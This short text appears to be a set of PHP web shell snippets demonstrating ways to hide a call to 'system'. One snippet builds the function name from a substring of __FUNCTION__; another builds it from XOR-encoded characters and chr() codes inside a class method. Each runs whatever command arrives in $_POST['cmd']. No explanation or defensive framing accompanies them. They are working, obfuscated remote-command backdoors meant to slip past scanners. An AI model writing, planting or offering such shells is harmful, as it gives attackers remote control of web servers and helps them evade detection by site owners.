<?php function systema() { substr(__FUNCTION__, -7, -1)($_POST['cmd']); } systema();
php7
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<?php class User { public $name = ''; function setName($a){ $this->name = $a; //(("\x13"^"`").("\x19"^"`").("\x13"^"`").("\x14"^"`").("\x05"^"`").("\x0d"^"`"))($this->name); (chr(115).chr(121).chr(115).chr(116).chr(101).chr(109))($this->name); } } $user = new User; $user->setName($_POST['cmd']);